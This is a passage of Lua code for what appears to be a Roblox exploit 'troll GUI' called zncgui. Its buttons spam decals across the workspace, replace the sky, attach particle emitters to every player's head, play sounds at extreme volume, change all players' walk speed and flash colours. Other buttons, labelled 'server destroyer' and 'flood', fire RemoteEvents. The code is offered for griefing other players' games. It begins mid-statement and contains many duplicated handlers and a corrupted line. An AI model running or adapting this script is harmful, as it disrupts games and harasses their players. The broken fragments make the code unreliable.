Instance.new("Decal", v) local Five = Instance.new("Decal", v) local Six = Instance.new("Decal", v) One.Texture = "http://www.roblox.com/asset/?id=111604272791927" Two.Texture = "http://www.roblox.com/asset/?id=111604272791927" Three.Texture = "http://www.roblox.com/asset/?id=111604272791927" Four.Texture = "http://www.roblox.com/asset/?id=111604272791927" Five.Texture = "http://www.roblox.com/asset/?id=111604272791927" Six.Texture = "http://www.roblox.com/asset/?id=111604272791927" One.Face = "Front" Two.Face = "Back" Three.Face = "Right" Four.Face = "Left" Five.Face = "Top" Six.Face = "Bottom" end exPro(v) end end function asdf(root) for _, v in pairs(root:GetChildren()) do asdf(v) end end exPro(workspace) asdf(workspace) end script.Parent.MouseButton1Down:connect(click) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head818 emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end)script.Parent.MouseButton1Click:Connect(function() for i, v in pairs(game:GetService("Players"):GetChildren()) do emit = Instance.new("ParticleEmitter") emit.Parent = v.Character.Head emit.Texture = "http://www.roblox.com/asset/?id=111604272791927" emit.VelocitySpread = 100000 end end) function click() s = Instance.new("Sky") s.Name = "Sky" s.Parent = game:GetService("Lighting") s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927" s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927" game:GetService("Lighting").TimeOfDay = 12 end script.Parent.MouseButton1Down:connect(click) ---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB: end; task.spawn(C_1c); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_1e() local script = G2L["1e"]; function onClick() local tubers93 = Instance.new("Sound") tubers93.Parent = game:GetService("Workspace") tubers93.SoundId = "rbxassetid://6129291390" tubers93.Playing = true tubers93.Looped = false tubers93.Volume = 99999999999999999 end script.Parent.MouseButton1Down:connect(onClick) end; task.spawn(C_1e); -- StarterGui.ssst.Frame.TextButton.LocalScript local function C_20() local script = G2L["20"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame.Visible = false script.Parent.Parent.Parent.Frame2.Visible = true script.Parent.Parent.Parent.Frame2.Position = script.Parent.Parent.Parent.Frame.Position end) end; task.spawn(C_20); -- StarterGui.ssst.Frame2.LocalScript local function C_23() local script = G2L["23"]; -- Made by Real_IceyDev (@lceyDex) -- -- Simple UI dragger (PC Only/Any device that has a mouse) -- local UIS = game:GetService('UserInputService') local frame = script.Parent local dragToggle = nil local dragSpeed = 0.25 local dragStart = nil local startPos = nil local function updateInput(input) local delta = input.Position - dragStart local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play() end frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then dragToggle = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) UIS.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then if dragToggle then updateInput(input) end end end) end; task.spawn(C_23); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_25() local script = G2L["25"]; script.Parent.MouseButton1Down:Connect(function() for i,p in pairs(game:GetService("Players"):GetChildren()) do if p.ClassName == "Player" then p.Character:FindFirstChildOfClass("Humanoid").WalkSpeed += 25 end end end) end; task.spawn(C_25); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_27() local script = G2L["27"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent.Frame.Visible = true script.Parent.Parent.Parent.Frame2.Visible = false script.Parent.Parent.Parent.Frame.Position = script.Parent.Parent.Parent.Frame2.Position end) end; task.spawn(C_27); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_2a() local script = G2L["2a"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_2a); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_2d() local script = G2L["2d"]; script.Parent.MouseButton1Click:Connect(function() local Lighting = game:GetService("Lighting") local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting) function zigzag(X) return math.acos(math.cos(X*math.pi))/math.pi end Counter = 0 Lighting.TimeOfDay = "15:00" while wait(0.01) do ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1) Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1) Counter += 0.01 end end) end; task.spawn(C_2d); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_3e() local script = G2L["3e"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_3e); -- StarterGui.ssst.Frame2.TextButton.LocalScript local function C_46() local script = G2L["46"]; script.Parent.MouseButton1Click:Connect(function() script.Parent.RemoteEvent:FireServer() end) end; task.spawn(C_46); return G2L["1"], require; end, }) local Button = MainTab:CreateButton({ Name = "zncgui", Callback = function() --[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 61 | Scripts: 26 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.ScreenGui G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.ScreenGui.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["BorderSizePixel"] = 3; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(95, 95, 95); G2L["2"]["BorderMode"] = Enum.BorderMode.Inset; G2L["2"]["Size"] = UDim2.new(0, 457, 0, 465); G2L["2"]["Position"] = UDim2.new(0.31963, 0, 0.18791, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["BackgroundTransparency"] = 0.4; -- StarterGui.ScreenGui.Frame.ImageLabel G2L["3"] = Instance.new("ImageLabel", G2L["2"]); G2L["3"]["BorderSizePixel"] = 0; G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["3"]["Image"] = [[rbxassetid://124868710717730]]; G2L["3"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["BackgroundTransparency"] = 1; G2L["3"]["Position"] = UDim2.new(0.05445, 0, -0.26592, 0); -- StarterGui.ScreenGui.Frame.TextLabel G2L["4"] = Instance.new("TextLabel", G2L["2"]); G2L["4"]["TextWrapped"] = true; G2L["4"]["BorderSizePixel"] = 0; G2L["4"]["TextSize"] = 14; G2L["4"]["TextScaled"] = true; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(32, 32, 32); G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4"]["RichText"] = true; G2L["4"]["Size"] = UDim2.new(0, 241, 0, 25); G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["Text"] = [[zncgui]]; G2L["4"]["Position"] = UDim2.new(0.25028, 0, -0.00292, 0); -- StarterGui.ScreenGui.Frame.TextLabel.UICorner G2L["5"] = Instance.new("UICorner", G2L["4"]); G2L["5"]["CornerRadius"] = UDim.new(0, 4); -- StarterGui.ScreenGui.Frame.TextButton G2L["6"] = Instance.new("TextButton", G2L["2"]); G2L["6"]["BorderSizePixel"] = 0; G2L["6"]["TextSize"] = 14; G2L["6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6"]["BackgroundTransparency"] = 0.2; G2L["6"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["Text"] = [[Troll gui 🤣🤣🤣]]; G2L["6"]["Position"] = UDim2.new(0.69214, 0, 0.40428, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["7"] = Instance.new("LocalScript", G2L["6"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["8"] = Instance.new("TextButton", G2L["2"]); G2L["8"]["BorderSizePixel"] = 0; G2L["8"]["TextSize"] = 14; G2L["8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8"]["BackgroundTransparency"] = 0.2; G2L["8"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["Text"] = [[znc_13 executor]]; G2L["8"]["Position"] = UDim2.new(0.08064, 0, 0.40433, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["9"] = Instance.new("LocalScript", G2L["8"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["a"] = Instance.new("TextButton", G2L["2"]); G2L["a"]["BorderSizePixel"] = 0; G2L["a"]["TextSize"] = 14; G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a"]["BackgroundTransparency"] = 0.2; G2L["a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["Text"] = [[hint]]; G2L["a"]["Position"] = UDim2.new(0.37673, 0, 0.40448, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["b"] = Instance.new("LocalScript", G2L["a"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["c"] = Instance.new("TextButton", G2L["2"]); G2L["c"]["BorderSizePixel"] = 0; G2L["c"]["TextSize"] = 14; G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c"]["BackgroundTransparency"] = 0.2; G2L["c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["Text"] = [[skybox]]; G2L["c"]["Position"] = UDim2.new(0.07942, 0, 0.30198, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["d"] = Instance.new("LocalScript", G2L["c"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["e"] = Instance.new("TextButton", G2L["2"]); G2L["e"]["BorderSizePixel"] = 0; G2L["e"]["TextSize"] = 14; G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e"]["BackgroundTransparency"] = 0.2; G2L["e"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["Text"] = [[znc_ 13 decal spam]]; G2L["e"]["Position"] = UDim2.new(0.3732, 0, 0.30316, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["f"] = Instance.new("LocalScript", G2L["e"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["10"] = Instance.new("TextButton", G2L["2"]); G2L["10"]["BorderSizePixel"] = 0; G2L["10"]["TextSize"] = 14; G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10"]["BackgroundTransparency"] = 0.2; G2L["10"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["10"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["Text"] = [[particle]]; G2L["10"]["Position"] = UDim2.new(0.69312, 0, 0.30388, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["11"] = Instance.new("LocalScript", G2L["10"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["12"] = Instance.new("TextButton", G2L["2"]); G2L["12"]["BorderSizePixel"] = 0; G2L["12"]["TextSize"] = 14; G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12"]["BackgroundTransparency"] = 0.2; G2L["12"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["12"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["Text"] = [[skeleton sky]]; G2L["12"]["Position"] = UDim2.new(0.07597, 0, 0.19633, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["13"] = Instance.new("LocalScript", G2L["12"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["14"] = Instance.new("TextButton", G2L["2"]); G2L["14"]["BorderSizePixel"] = 0; G2L["14"]["TextSize"] = 14; G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14"]["BackgroundTransparency"] = 0.2; G2L["14"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["Text"] = [[flood]]; G2L["14"]["Position"] = UDim2.new(0.37805, 0, 0.19297, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["15"] = Instance.new("LocalScript", G2L["14"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["16"] = Instance.new("TextButton", G2L["2"]); G2L["16"]["BorderSizePixel"] = 0; G2L["16"]["TextSize"] = 14; G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16"]["BackgroundTransparency"] = 0.2; G2L["16"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["16"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["Text"] = [[666]]; G2L["16"]["Position"] = UDim2.new(0.69183, 0, 0.19236, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["17"] = Instance.new("LocalScript", G2L["16"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["18"] = Instance.new("TextButton", G2L["2"]); G2L["18"]["BorderSizePixel"] = 0; G2L["18"]["TextSize"] = 14; G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["18"]["BackgroundTransparency"] = 0.2; G2L["18"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["18"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["Text"] = [[theme music]]; G2L["18"]["Position"] = UDim2.new(0.07155, 0, 0.08425, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["19"] = Instance.new("LocalScript", G2L["18"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["1a"] = Instance.new("TextButton", G2L["2"]); G2L["1a"]["BorderSizePixel"] = 0; G2L["1a"]["TextSize"] = 14; G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a"]["BackgroundTransparency"] = 0.2; G2L["1a"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["Text"] = [[romania spam]]; G2L["1a"]["Position"] = UDim2.new(0.3736, 0, 0.08924, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1b"] = Instance.new("LocalScript", G2L["1a"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["1c"] = Instance.new("TextButton", G2L["2"]); G2L["1c"]["BorderSizePixel"] = 0; G2L["1c"]["TextSize"] = 14; G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c"]["BackgroundTransparency"] = 0.2; G2L["1c"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["1c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c"]["Text"] = [[T7B3RS93 sound]]; G2L["1c"]["Position"] = UDim2.new(0.69181, 0, 0.08827, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["1d"] = Instance.new("LocalScript", G2L["1c"]); -- StarterGui.ScreenGui.Frame.close G2L["1e"] = Instance.new("TextButton", G2L["2"]); G2L["1e"]["TextWrapped"] = true; G2L["1e"]["BorderSizePixel"] = 0; G2L["1e"]["TextSize"] = 14; G2L["1e"]["TextScaled"] = true; G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1e"]["BackgroundTransparency"] = 0.2; G2L["1e"]["Size"] = UDim2.new(0, 384, 0, 25); G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e"]["Text"] = [[close]]; G2L["1e"]["Name"] = [[close]]; G2L["1e"]["Position"] = UDim2.new(0.08555, 0, 0.91786, 0); -- StarterGui.ScreenGui.Frame.close.LocalScript G2L["1f"] = Instance.new("LocalScript", G2L["1e"]); -- StarterGui.ScreenGui.Frame.ImageLabel G2L["20"] = Instance.new("ImageLabel", G2L["2"]); G2L["20"]["BorderSizePixel"] = 0; G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); -- [ERROR] cannot convert ImageContent, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues" G2L["20"]["Image"] = [[rbxassetid://121071746877032]]; G2L["20"]["Size"] = UDim2.new(0, 187, 0, 123); G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["20"]["BackgroundTransparency"] = 1; G2L["20"]["Position"] = UDim2.new(0.50846, 0, -0.26555, 0); -- StarterGui.ScreenGui.Frame.TextButton G2L["21"] = Instance.new("TextButton", G2L["2"]); G2L["21"]["BorderSizePixel"] = 0; G2L["21"]["TextSize"] = 14; G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["21"]["BackgroundTransparency"] = 0.2; G2L["21"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["21"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["Text"] = [[teams]]; G2L["21"]["Position"] = UDim2.new(0.08073, 0, 0.50389, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["22"] = Instance.new("LocalScript", G2L["21"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["23"] = Instance.new("TextButton", G2L["2"]); G2L["23"]["BorderSizePixel"] = 0; G2L["23"]["TextSize"] = 14; G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23"]["BackgroundTransparency"] = 0.2; G2L["23"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["Text"] = [[ball rain]]; G2L["23"]["Position"] = UDim2.new(0.3782, 0, 0.50305, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["24"] = Instance.new("LocalScript", G2L["23"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["25"] = Instance.new("TextButton", G2L["2"]); G2L["25"]["BorderSizePixel"] = 0; G2L["25"]["TextSize"] = 14; G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["25"]["BackgroundTransparency"] = 0.2; G2L["25"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["25"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["Text"] = [[message]]; G2L["25"]["Position"] = UDim2.new(0.69301, 0, 0.50229, 0); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["26"] = Instance.new("LocalScript", G2L["25"]); -- StarterGui.ScreenGui.Frame.TextButton G2L["27"] = Instance.new("TextButton", G2L["2"]); G2L["27"]["BorderSizePixel"] = 0; G2L["27"]["TextSize"] = 14; G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27"]["BackgroundTransparency"] = 0.2; G2L["27"]["Size"] = UDim2.new(0, 115, 0, 33); G2L["27"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["27"]["Text"] = [[server destroyer]]; G2L["27"]["Position"] = UDim2.new(0.08485, 0, 0.6016, 0); -- StarterGui.ScreenGui.Frame.TextButton.Script G2L["28"] = Instance.new("Script", G2L["27"]); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript G2L["29"] = Instance.new("LocalScript", G2L["27"]); -- 